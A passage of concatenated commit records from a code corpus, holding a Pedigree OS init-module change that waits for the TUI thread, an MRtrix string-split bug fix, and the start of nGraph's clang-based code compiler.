VirtualAddressSpace::Write);\n if (!b)\n WARNING(\"map() failed in init\");\n }\n\n \/\/ Initialise the sigret and pthreads shizzle.\n pedigree_init_sigret();\n\n pedigree_init_pthreads();\n\n#if 0\n system_reset();\n#else\n \/\/ Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available...\n new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), 0x0 \/* parameter *\/, reinterpret_cast<void*>(0x20020000-8) \/* Stack *\/);\n#endif\n}\n\n#ifdef X86_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"TUI\", \"linker\", \"network-stack\", \"vbe\", \"users\", \"pedigree-c\"\n#elif PPC_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"TUI\", \"linker\", \"network-stack\", \"users\", \"pedigree-c\"\n#elif ARM_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"linker\", \"network-stack\", \"users\", \"pedigree-c\"\n#endif\nMODULE_INFO(\"init\", &init, &destroy, __MOD_DEPS);\n<commit_msg>init module now waits until the TUI thread is running before exiting its entry point.<commit_after>\/*\n * Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <Log.h>\n#include <vfs\/VFS.h>\n#include <vfs\/Directory.h>\n#include \"..\/..\/subsys\/posix\/PosixSubsystem.h\"\n#include <machine\/Device.h>\n#include <machine\/Disk.h>\n#include <Module.h>\n#include <processor\/Processor.h>\n#include <linker\/Elf.h>\n#include <process\/Thread.h>\n#include <process\/Process.h>\n#include <process\/Scheduler.h>\n#include <processor\/PhysicalMemoryManager.h>\n#include <processor\/VirtualAddressSpace.h>\n#include <machine\/Machine.h>\n#include <linker\/DynamicLinker.h>\n#include <panic.h>\n#include <utilities\/assert.h>\n\n#include <kernel\/core\/BootIO.h>\n\n#include <network-stack\/NetworkStack.h>\n#include <network-stack\/RoutingTable.h>\n#include <network-stack\/UdpLogger.h>\n\n#include <users\/UserManager.h>\n\n#include <utilities\/TimeoutGuard.h>\n\n#include <config\/ConfigurationManager.h>\n#include <config\/MemoryBackend.h>\n\n#include <machine\/DeviceHashTree.h>\n#include <lodisk\/LoDisk.h>\n\n#include <machine\/InputManager.h>\n\nextern void pedigree_init_sigret();\nextern void pedigree_init_pthreads();\n\nextern BootIO bootIO;\n\nvoid init_stage2();\n\nstatic bool bRootMounted = false;\nstatic bool probeDisk(Disk *pDisk)\n{\n String alias; \/\/ Null - gets assigned by the filesystem.\n if (VFS::instance().mount(pDisk, alias))\n {\n \/\/ For mount message\n bool didMountAsRoot = false;\n\n \/\/ Search for the root specifier, if we haven't already mounted root\n if (!bRootMounted)\n {\n NormalStaticString s;\n s += alias;\n s += \"»\/.pedigree-root\";\n\n File* f = VFS::instance().find(String(static_cast<const char*>(s)));\n if (f && !bRootMounted)\n {\n NOTICE(\"Mounted \" << alias << \" successfully as root.\");\n VFS::instance().addAlias(alias, String(\"root\"));\n bRootMounted = didMountAsRoot = true;\n }\n }\n\n if(!didMountAsRoot)\n {\n NOTICE(\"Mounted \" << alias << \".\");\n }\n return false;\n }\n return false;\n}\n\nstatic bool findDisks(Device *pDev)\n{\n for (unsigned int i = 0; i < pDev->getNumChildren(); i++)\n {\n Device *pChild = pDev->getChild(i);\n if (pChild->getNumChildren() == 0 && \/* Only check leaf nodes. *\/\n pChild->getType() == Device::Disk)\n {\n if ( probeDisk(dynamic_cast<Disk*> (pChild)) ) return true;\n }\n else\n {\n \/\/ Recurse.\n if (findDisks(pChild)) return true;\n }\n }\n return false;\n}\n\n\/\/\/ This ensures that the init module entry function will not exit until the init\n\/\/\/ program entry point thread is running.\nMutex g_InitProgramLoaded(true);\n\nstatic void init()\n{\n static HugeStaticString str;\n\n \/\/ Mount all available filesystems.\n if (!findDisks(&Device::root()))\n {\n\/\/ FATAL(\"No disks found!\");\n }\n\n\/\/ if (VFS::instance().find(String(\"raw»\/\")) == 0)\n\/\/ {\n\/\/ FATAL(\"No raw partition!\");\n\/\/ }\n\n \/\/ Are we running a live CD?\n \/\/\/ \\todo Use the configuration manager to determine if we're running a live CD or\n \/\/\/ not, to avoid the potential for conflicts here.\n if(VFS::instance().find(String(\"root»\/livedisk.img\")))\n {\n FileDisk *pRamDisk = new FileDisk(String(\"root»\/livedisk.img\"), FileDisk::RamOnly);\n if(pRamDisk && pRamDisk->initialise())\n {\n pRamDisk->setParent(&Device::root());\n Device::root().addChild(pRamDisk);\n\n \/\/ Mount it in the VFS\n VFS::instance().removeAlias(String(\"root\"));\n bRootMounted = false;\n findDisks(pRamDisk);\n }\n else\n delete pRamDisk;\n }\n\n \/\/ Is there a root disk mounted?\n if(VFS::instance().find(String(\"root»\/.pedigree-root\")) == 0)\n {\n FATAL(\"No root disk (missing .pedigree-root?)\");\n }\n\n \/\/ Fill out the device hash table\n DeviceHashTree::instance().fill(&Device::root());\n\n#if 0\n \/\/ Testing froggey's Bochs patch for magic watchpoints... -Matt\n volatile uint32_t abc = 0;\n NOTICE(\"Address of abc = \" << reinterpret_cast<uintptr_t>(&abc) << \"...\");\n asm volatile(\"xchg %%cx,%%cx\" :: \"a\" (&abc));\n abc = 0xdeadbeef;\n abc = 0xdeadbe;\n abc = 0xdead;\n abc = 0xde;\n abc = 0xd;\n abc = 0;\n FATAL(\"Test complete: \" << abc << \".\");\n#endif\n\n \/\/ Initialise user\/group configuration.\n UserManager::instance().initialise();\n\n \/\/ Build routing tables - try to find a default configuration that can\n \/\/ connect to the outside world\n IpAddress empty;\n bool bRouteFound = false;\n for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++)\n {\n \/\/\/ \\todo Perhaps try and ping a remote host?\n Network* card = NetworkStack::instance().getDevice(i);\n StationInfo info = card->getStationInfo();\n\n \/\/ If the device has a gateway, set it as the default and continue\n if (info.gateway != empty)\n {\n if(!bRouteFound)\n {\n RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String(\"default\"), card);\n bRouteFound = true;\n }\n\n \/\/ Additionally route the complement of its subnet to the gateway\n RoutingTable::instance().Add(RoutingTable::DestSubnetComplement,\n info.ipv4,\n info.subnetMask,\n info.gateway,\n String(\"\"),\n card);\n\n \/\/ And the actual subnet that the card is on needs to route to... the card.\n RoutingTable::instance().Add(RoutingTable::DestSubnet,\n info.ipv4,\n info.subnetMask,\n empty,\n String(\"\"),\n card);\n }\n\n \/\/ If this isn't already the loopback device, redirect our own IP to 127.0.0.1\n if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))\n RoutingTable::instance().Add(RoutingTable::DestIpSub, info.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(\"\"), NetworkStack::instance().getLoopback());\n else\n RoutingTable::instance().Add(RoutingTable::DestIp, info.ipv4, empty, String(\"\"), card);\n }\n\n \/\/ Otherwise, just assume the default is interface zero\n if (!bRouteFound)\n RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String(\"default\"), NetworkStack::instance().getDevice(0));\n\n#if 0\n \/\/ Routes installed, start the UDP logger\n UdpLogger *logger = new UdpLogger();\n logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1)));\n\n Log::instance().installCallback(logger);\n#endif\n\n str += \"Loading init program (root»\/applications\/TUI)\\n\";\n bootIO.write(str, BootIO::White, BootIO::Black);\n str.clear();\n\n#ifdef THREADS\n \/\/ At this point we're uninterruptible, as we're forking.\n Spinlock lock;\n lock.acquire();\n\n \/\/ Create a new process for the init process.\n Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent());\n pProcess->setUser(UserManager::instance().getUser(0));\n pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup());\n\n pProcess->description().clear();\n pProcess->description().append(\"init\");\n\n pProcess->setCwd(VFS::instance().find(String(\"root»\/\")));\n pProcess->setCtty(0);\n\n PosixSubsystem *pSubsystem = new PosixSubsystem;\n pProcess->setSubsystem(pSubsystem);\n \n new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 \/* parameter *\/);\n\n lock.release();\n \n \/\/ Wait for the program to load\n g_InitProgramLoaded.acquire();\n#else\n #warning the init module is almost useless without threads.\n#endif\n}\nstatic void destroy()\n{\n}\n\nextern void system_reset();\n\nvoid init_stage2()\n{\n \/\/ Load initial program.\n File* initProg = VFS::instance().find(String(\"root»\/applications\/TUI\"));\n if (!initProg)\n {\n NOTICE(\"INIT: FileNotFound!!\");\n initProg = VFS::instance().find(String(\"root»\/applications\/tui\"));\n if (!initProg)\n {\n FATAL(\"Unable to load init program!\");\n return;\n }\n }\n NOTICE(\"INIT: File found\");\n String fname = initProg->getName();\n NOTICE(\"INIT: name: \" << fname);\n \/\/ That will have forked - we don't want to fork, so clear out all the chaff\n \/\/ in the new address space that's not in the kernel address space so we\n \/\/ have a clean slate.\n Process *pProcess = Processor::information().getCurrentThread()->getParent();\n pProcess->getAddressSpace()->revertToKernelAddressSpace();\n\n DynamicLinker *pLinker = new DynamicLinker();\n pProcess->setLinker(pLinker);\n\n if (!pLinker->loadProgram(initProg))\n {\n FATAL(\"Init program failed to load!\");\n }\n\n for (int j = 0; j < 0x20000; j += 0x1000)\n {\n physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage();\n bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), VirtualAddressSpace::Write);\n if (!b)\n WARNING(\"map() failed in init\");\n }\n\n \/\/ Initialise the sigret and pthreads shizzle.\n pedigree_init_sigret();\n\n pedigree_init_pthreads();\n\n#if 0\n system_reset();\n#else\n \/\/ Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available...\n new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), 0x0 \/* parameter *\/, reinterpret_cast<void*>(0x20020000-8) \/* Stack *\/);\n \n g_InitProgramLoaded.release();\n#endif\n}\n\n#ifdef X86_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"TUI\", \"linker\", \"network-stack\", \"vbe\", \"users\", \"pedigree-c\"\n#elif PPC_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"TUI\", \"linker\", \"network-stack\", \"users\", \"pedigree-c\"\n#elif ARM_COMMON\n#define __MOD_DEPS \"vfs\", \"ext2\", \"fat\", \"posix\", \"partition\", \"linker\", \"network-stack\", \"users\", \"pedigree-c\"\n#endif\nMODULE_INFO(\"init\", &init, &destroy, __MOD_DEPS);\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright 2008 Brain Research Institute, Melbourne, Australia\n\n Written by J-Donald Tournier, 27\/06\/08.\n\n This file is part of MRtrix.\n\n MRtrix is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n MRtrix is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with MRtrix. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <gsl\/gsl_version.h>\n\n#include \"mrtrix.h\"\n\nnamespace MR\n{\n\n \/************************************************************************\n * MRtrix version information *\n ************************************************************************\/\n\n const size_t mrtrix_major_version = MRTRIX_MAJOR_VERSION;\n const size_t mrtrix_minor_version = MRTRIX_MINOR_VERSION;\n const size_t mrtrix_micro_version = MRTRIX_MICRO_VERSION;\n\n\n \/************************************************************************\n * Miscellaneous functions *\n ************************************************************************\/\n\n std::vector<float> parse_floats (const std::string& spec)\n {\n std::vector<float> V;\n\n if (!spec.size()) throw Exception (\"floating-point sequence specifier is empty\");\n std::string::size_type start = 0, end;\n try {\n do {\n end = spec.find_first_of (',', start);\n std::string sub (spec.substr (start, end-start));\n float num = sub == \"nan\" ? NAN : to<float> (spec.substr (start, end-start));\n V.push_back (num);\n start = end+1;\n }\n while (end < spec.size());\n }\n catch (Exception& E) {\n throw Exception (E, \"can't parse floating-point sequence specifier \\\"\" + spec + \"\\\"\");\n }\n\n return (V);\n }\n\n\n\n\n std::vector<int> parse_ints (const std::string& spec, int last)\n {\n std::vector<int> V;\n if (!spec.size()) throw Exception (\"integer sequence specifier is empty\");\n std::string::size_type start = 0, end;\n int num[3];\n int i = 0;\n try {\n do {\n end = spec.find_first_of (\",:\", start);\n std::string token (strip (spec.substr (start, end-start)));\n lowercase (token);\n if (token == \"end\") {\n if (last == std::numeric_limits<int>::max())\n throw Exception (\"value of \\\"end\\\" is not known in number sequence \\\"\" + spec + \"\\\"\");\n num[i] = last;\n }\n else num[i] = to<int> (spec.substr (start, end-start));\n\n char last_char = end < spec.size() ? spec[end] : '\\0';\n if (last_char == ':') {\n i++;\n if (i > 2) throw Exception (\"invalid number range in number sequence \\\"\" + spec + \"\\\"\");\n }\n else {\n if (i) {\n int inc, last;\n if (i == 2) {\n inc = num[1];\n last = num[2];\n }\n else {\n inc = 1;\n last = num[1];\n }\n if (inc * (last - num[0]) < 0) inc = -inc;\n for (; (inc > 0 ? num[0] <= last : num[0] >= last) ; num[0] += inc) V.push_back (num[0]);\n }\n else V.push_back (num[0]);\n i = 0;\n }\n\n start = end+1;\n }\n while (end < spec.size());\n }\n catch (Exception& E) {\n throw Exception (E, \"can't parse integer sequence specifier \\\"\" + spec + \"\\\"\");\n }\n\n return (V);\n }\n\n\n\n\n\n\n\n std::vector<std::string> split (const std::string& string, const char* delimiters, bool ignore_empty_fields, size_t num)\n {\n std::vector<std::string> V;\n std::string::size_type start = 0, end;\n try {\n do {\n end = string.find_first_of (delimiters, start);\n V.push_back (string.substr (start, end-start));\n start = ignore_empty_fields ? string.find_first_not_of (delimiters, end+1) : end+1;\n if (V.size()+1 >= num) {\n V.push_back (string.substr (start));\n break;\n }\n }\n while (end < std::string::npos && V.size() < num);\n \/\/ should this change to:\n \/\/} while (start < std::string::npos && V.size() < num);\n }\n catch (...) {\n throw Exception (\"can't split string \\\"\" + string + \"\\\"\");\n }\n return V;\n }\n\n\n\n}\n<commit_msg>fix MR::split(std::string&) function to handle missing entries, etc.<commit_after>\/*\n Copyright 2008 Brain Research Institute, Melbourne, Australia\n\n Written by J-Donald Tournier, 27\/06\/08.\n\n This file is part of MRtrix.\n\n MRtrix is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n MRtrix is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with MRtrix. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <gsl\/gsl_version.h>\n\n#include \"mrtrix.h\"\n\nnamespace MR\n{\n\n \/************************************************************************\n * MRtrix version information *\n ************************************************************************\/\n\n const size_t mrtrix_major_version = MRTRIX_MAJOR_VERSION;\n const size_t mrtrix_minor_version = MRTRIX_MINOR_VERSION;\n const size_t mrtrix_micro_version = MRTRIX_MICRO_VERSION;\n\n\n \/************************************************************************\n * Miscellaneous functions *\n ************************************************************************\/\n\n std::vector<float> parse_floats (const std::string& spec)\n {\n std::vector<float> V;\n\n if (!spec.size()) throw Exception (\"floating-point sequence specifier is empty\");\n std::string::size_type start = 0, end;\n try {\n do {\n end = spec.find_first_of (',', start);\n std::string sub (spec.substr (start, end-start));\n float num = sub == \"nan\" ? NAN : to<float> (spec.substr (start, end-start));\n V.push_back (num);\n start = end+1;\n }\n while (end < spec.size());\n }\n catch (Exception& E) {\n throw Exception (E, \"can't parse floating-point sequence specifier \\\"\" + spec + \"\\\"\");\n }\n\n return (V);\n }\n\n\n\n\n std::vector<int> parse_ints (const std::string& spec, int last)\n {\n std::vector<int> V;\n if (!spec.size()) throw Exception (\"integer sequence specifier is empty\");\n std::string::size_type start = 0, end;\n int num[3];\n int i = 0;\n try {\n do {\n end = spec.find_first_of (\",:\", start);\n std::string token (strip (spec.substr (start, end-start)));\n lowercase (token);\n if (token == \"end\") {\n if (last == std::numeric_limits<int>::max())\n throw Exception (\"value of \\\"end\\\" is not known in number sequence \\\"\" + spec + \"\\\"\");\n num[i] = last;\n }\n else num[i] = to<int> (spec.substr (start, end-start));\n\n char last_char = end < spec.size() ? spec[end] : '\\0';\n if (last_char == ':') {\n i++;\n if (i > 2) throw Exception (\"invalid number range in number sequence \\\"\" + spec + \"\\\"\");\n }\n else {\n if (i) {\n int inc, last;\n if (i == 2) {\n inc = num[1];\n last = num[2];\n }\n else {\n inc = 1;\n last = num[1];\n }\n if (inc * (last - num[0]) < 0) inc = -inc;\n for (; (inc > 0 ? num[0] <= last : num[0] >= last) ; num[0] += inc) V.push_back (num[0]);\n }\n else V.push_back (num[0]);\n i = 0;\n }\n\n start = end+1;\n }\n while (end < spec.size());\n }\n catch (Exception& E) {\n throw Exception (E, \"can't parse integer sequence specifier \\\"\" + spec + \"\\\"\");\n }\n\n return (V);\n }\n\n\n\n\n\n\n\n std::vector<std::string> split (const std::string& string, const char* delimiters, bool ignore_empty_fields, size_t num)\n {\n std::vector<std::string> V;\n std::string::size_type start = 0, end;\n try {\n do {\n end = string.find_first_of (delimiters, start);\n V.push_back (string.substr (start, end-start));\n if (end >= string.size()) break;\n start = ignore_empty_fields ? string.find_first_not_of (delimiters, end+1) : end+1;\n if (start > string.size()) break;\n if (V.size()+1 >= num) {\n V.push_back (string.substr (start));\n break;\n }\n } while (true);\n }\n catch (...) {\n throw Exception (\"can't split string \\\"\" + string + \"\\\"\");\n }\n return V;\n }\n\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2017 Nervana Systems Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ ----------------------------------------------------------------------------\n\n#include <iostream>\n\n#include <clang\/Basic\/DiagnosticOptions.h>\n#include <clang\/Basic\/TargetInfo.h>\n#include <clang\/CodeGen\/CodeGenAction.h>\n#include <clang\/CodeGen\/ObjectFilePCHContainerOperations.h>\n#include <clang\/Driver\/DriverDiagnostic.h>\n#include <clang\/Driver\/Options.h>\n#include <clang\/Frontend\/CompilerInstance.h>\n#include <clang\/Frontend\/CompilerInstance.h>\n#include <clang\/Frontend\/CompilerInvocation.h>\n#include <clang\/Frontend\/FrontendActions.h>\n#include <clang\/Frontend\/FrontendDiagnostic.h>\n#include <clang\/Frontend\/TextDiagnosticBuffer.h>\n#include <clang\/Frontend\/TextDiagnosticPrinter.h>\n#include <clang\/Frontend\/TextDiagnosticPrinter.h>\n#include <clang\/Frontend\/Utils.h>\n#include <clang\/FrontendTool\/Utils.h>\n#include <clang\/Lex\/Preprocessor.h>\n#include <clang\/Lex\/PreprocessorOptions.h>\n#include <llvm\/ADT\/Statistic.h>\n#include <llvm\/LinkAllPasses.h>\n#include <llvm\/Option\/Arg.h>\n#include <llvm\/Option\/ArgList.h>\n#include <llvm\/Option\/OptTable.h>\n#include <llvm\/Support\/ErrorHandling.h>\n#include <llvm\/Support\/ManagedStatic.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Timer.h>\n#include <llvm\/Support\/raw_ostream.h>\n\n#include \"ngraph\/codegen\/compiler.hpp\"\n#include \"ngraph\/file_util.hpp\"\n#include \"ngraph\/log.hpp\"\n#include \"ngraph\/util.hpp\"\n\n\/\/ TODO: Fix leaks\n\n\/\/ #define USE_CACHE\n\nusing namespace clang;\nusing namespace llvm;\nusing namespace llvm::opt;\nusing namespace std;\n\nusing namespace ngraph::codegen;\n\nstatic HeaderCache s_header_cache;\nstatic StaticCompiler s_static_compiler;\nstatic std::mutex m_mutex;\n\nCompiler::Compiler()\n{\n}\n\nCompiler::~Compiler()\n{\n}\n\nvoid Compiler::set_precompiled_header_source(const std::string& source)\n{\n s_static_compiler.set_precompiled_header_source(source);\n}\n\nvoid Compiler::add_header_search_path(const std::string& path)\n{\n s_static_compiler.add_header_search_path(path);\n}\n\nstd::unique_ptr<llvm::Module> Compiler::compile(const std::string& source)\n{\n lock_guard<mutex> lock(m_mutex);\n return s_static_compiler.compile(compiler_action, source);\n}\n\nstatic std::string GetExecutablePath(const char* Argv0)\n{\n \/\/ This just needs to be some symbol in the binary; C++ doesn't\n \/\/ allow taking the address of ::main however.\n void* MainAddr = reinterpret_cast<void*>(GetExecutablePath);\n return llvm::sys::fs::getMainExecutable(Argv0, MainAddr);\n}\n\nStaticCompiler::StaticCompiler()\n : m_precompiled_header_valid(false)\n , m_debuginfo_enabled(false)\n , m_source_name(\"code.cpp\")\n{\n#if NGCPU_DEBUGINFO\n m_debuginfo_enabled = true;\n#endif\n\n InitializeNativeTarget();\n LLVMInitializeNativeAsmPrinter();\n LLVMInitializeNativeAsmParser();\n\n \/\/ Prepare compilation arguments\n vector<const char*> args;\n args.push_back(m_source_name.c_str());\n\n \/\/ Prepare DiagnosticEngine\n IntrusiveRefCntPtr<DiagnosticOptions> DiagOpts = new DiagnosticOptions();\n TextDiagnosticPrinter* textDiagPrinter = new clang::TextDiagnosticPrinter(errs(), &*DiagOpts);\n IntrusiveRefCntPtr<DiagnosticIDs> DiagID(new DiagnosticIDs());\n DiagnosticsEngine DiagEngine(DiagID, &*DiagOpts, textDiagPrinter);\n\n \/\/ Create and initialize CompilerInstance\n m_compiler = std::unique_ptr<CompilerInstance>(new CompilerInstance());\n m_compiler->createDiagnostics();\n\n \/\/ Initialize CompilerInvocation\n CompilerInvocation::CreateFromArgs(\n m_compiler->getInvocation(), &args[0], &args[0] + args.size(), DiagEngine);\n\n \/\/ Infer the builtin include path if unspecified.\n if (m_compiler->getHeaderSearchOpts().UseBuiltinIncludes &&\n m_compiler->getHeaderSearchOpts().ResourceDir.empty())\n {\n void* MainAddr = reinterpret_cast<void*>(GetExecutablePath);\n auto path = CompilerInvocation::GetResourcesPath(args[0], MainAddr);\n m_compiler->getHeaderSearchOpts().ResourceDir = path;\n }\n\n if (s_header_cache.is_valid() == false)\n {\n \/\/ Add base toolchain-supplied header paths\n \/\/ Ideally one would use the Linux toolchain definition in clang\/lib\/Driver\/ToolChains.h\n \/\/ But that's a private header and isn't part of the public libclang API\n \/\/ Instead of re-implementing all of that functionality in a custom toolchain\n \/\/ just hardcode the paths relevant to frequently used build\/test machines for now\n add_header_search_path(CLANG_BUILTIN_HEADERS_PATH);\n add_header_search_path(\"\/usr\/include\/x86_64-linux-gnu\");\n add_header_search_path(\"\/usr\/include\");\n\n \/\/ Search for headers in\n \/\/ \/usr\/include\/x86_64-linux-gnu\/c++\/N.N\n \/\/ \/usr\/include\/c++\/N.N\n \/\/ and add them to the header search path\n\n file_util::iterate_files(\"\/usr\/include\/x86_64-linux-gnu\/c++\/\",\n [&](const std::string& file, bool is_dir) {\n if (is_dir)\n {\n string dir_name = file_util::get_file_name(file);\n if (is_version_number(dir_name))\n {\n add_header_search_path(file);\n }\n }\n });\n\n file_util::iterate_files(\"\/usr\/include\/c++\/\", [&](const std::string& file, bool is_dir) {\n if (is_dir)\n {\n string dir_name = file_util::get_file_name(file);\n if (is_version_number(dir_name))\n {\n add_header_search_path(file);\n }\n }\n });\n\n add_header_search_path(EIGEN_HEADERS_PATH);\n add_header_search_path(NGRAPH_HEADERS_PATH);\n#ifdef USE_CACHE\n s_header_cache.set_valid();\n#endif\n }\n\n#ifdef USE_CACHE\n use_cached_files(m_compiler);\n#endif\n\n \/\/ Language options\n \/\/ These are the C++ features needed to compile ngraph headers\n \/\/ and any dependencies like Eigen\n auto LO = m_compiler->getInvocation().getLangOpts();\n LO->CPlusPlus = 1;\n LO->CPlusPlus11 = 1;\n LO->Bool = 1;\n LO->Exceptions = 1;\n LO->CXXExceptions = 1;\n LO->WChar = 1;\n LO->RTTI = 1;\n \/\/ Enable OpenMP for Eigen\n LO->OpenMP = 1;\n LO->OpenMPUseTLS = 1;\n\n \/\/ CodeGen options\n auto& CGO = m_compiler->getInvocation().getCodeGenOpts();\n CGO.OptimizationLevel = 3;\n CGO.RelocationModel = \"static\";\n CGO.ThreadModel = \"posix\";\n CGO.FloatABI = \"hard\";\n CGO.OmitLeafFramePointer = 1;\n CGO.VectorizeLoop = 1;\n CGO.VectorizeSLP = 1;\n CGO.CXAAtExit = 1;\n\n if (m_debuginfo_enabled)\n {\n CGO.setDebugInfo(codegenoptions::FullDebugInfo);\n }\n\n \/\/ Enable various target features\n \/\/ Most of these are for Eigen\n auto& TO = m_compiler->getInvocation().getTargetOpts();\n \/\/ TODO: This needs to be configurable and selected carefully\n TO.CPU = \"broadwell\";\n TO.FeaturesAsWritten.emplace_back(\"+sse\");\n TO.FeaturesAsWritten.emplace_back(\"+sse2\");\n TO.FeaturesAsWritten.emplace_back(\"+sse3\");\n TO.FeaturesAsWritten.emplace_back(\"+ssse3\");\n TO.FeaturesAsWritten.emplace_back(\"+sse4.1\");\n TO.FeaturesAsWritten.emplace_back(\"+sse4.2\");\n TO.FeaturesAsWritten.emplace_back(\"+avx\");\n TO.FeaturesAsWritten.emplace_back(\"+avx2\");\n TO.FeaturesAsWritten.emplace_back(\"+fma\");\n}\n\nStaticCompiler::~StaticCompiler()\n{\n}\n\nbool StaticCompiler::is_version_number(const string& path)\n{\n bool rc = true;\n vector<string> tokens = ngraph::split(path, '.');\n for (string s : tokens)\n {\n for (char c : s)\n {\n if (!isdigit(c))\n {\n rc = false;\n }\n }\n }\n return rc;\n}\n\nvoid StaticCompiler::add_header_search_path(const string& path)\n{\n if (!contains(m_extra_search_path_list, path))\n {\n m_extra_search_path_list.push_back(path);\n HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts();\n#ifdef USE_CACHE\n static vector<string> valid_ext = {\".h\", \".hpp\", \".tcc\", \"\"};\n string mapped_path = file_util::path_join(\"\/$BUILTIN\", path);\n mapped_path = path;\n s_header_cache.add_path(mapped_path);\n auto func = [&](const std::string& file, bool is_dir) {\n if (!is_dir)\n {\n string ext = file_util::get_file_ext(file);\n if (contains(valid_ext, ext))\n {\n \/\/ This is a header file\n string relative_name = file.substr(path.size() + 1);\n string mapped_name = file_util::path_join(mapped_path, relative_name);\n\n ErrorOr<unique_ptr<MemoryBuffer>> code = MemoryBuffer::getFile(file);\n if (error_code ec = code.getError())\n {\n \/\/ throw up\n throw runtime_error(\"could not find file '\" + file + \"'\");\n }\n\n s_header_cache.add_file(mapped_name, code.get());\n }\n }\n };\n file_util::iterate_files(path, func, true);\n#else\n hso.AddPath(path, clang::frontend::System, false, false);\n#endif\n }\n}\n\nvoid StaticCompiler::use_cached_files()\n{\n HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts();\n for (const string& path : s_header_cache.get_include_paths())\n {\n hso.AddPath(path, clang::frontend::System, false, false);\n }\n for (auto& header : s_header_cache.get_header_map())\n {\n m_compiler->getPreprocessorOpts().addRemappedFile(header.first, header.second.get());\n }\n}\n\nstd::unique_ptr<llvm::Module>\n StaticCompiler::compile(std::unique_ptr<clang::CodeGenAction>& compiler_action,\n const string& source)\n{\n if (!m_precompiled_header_valid && m_precomiled_header_source.empty() == false)\n {\n generate_pch(m_precomiled_header_source);\n }\n if (m_precompiled_header_valid)\n {\n \/\/ Preprocessor options\n auto& PPO = m_compiler->getInvocation().getPreprocessorOpts();\n PPO.ImplicitPCHInclude = m_pch_path;\n PPO.DisablePCHValidation = 0;\n }\n\n \/\/ Map code filename to a memoryBuffer\n StringRef source_ref(source);\n unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref);\n m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get());\n\n \/\/ Create and execute action\n compiler_action.reset(new EmitCodeGenOnlyAction());\n std::unique_ptr<llvm::Module> rc;\n if (m_compiler->ExecuteAction(*compiler_action) == true)\n {\n rc = compiler_action->takeModule();\n }\n\n buffer.release();\n\n m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles();\n\n return rc;\n}\n\nvoid StaticCompiler::generate_pch(const string& source)\n{\n 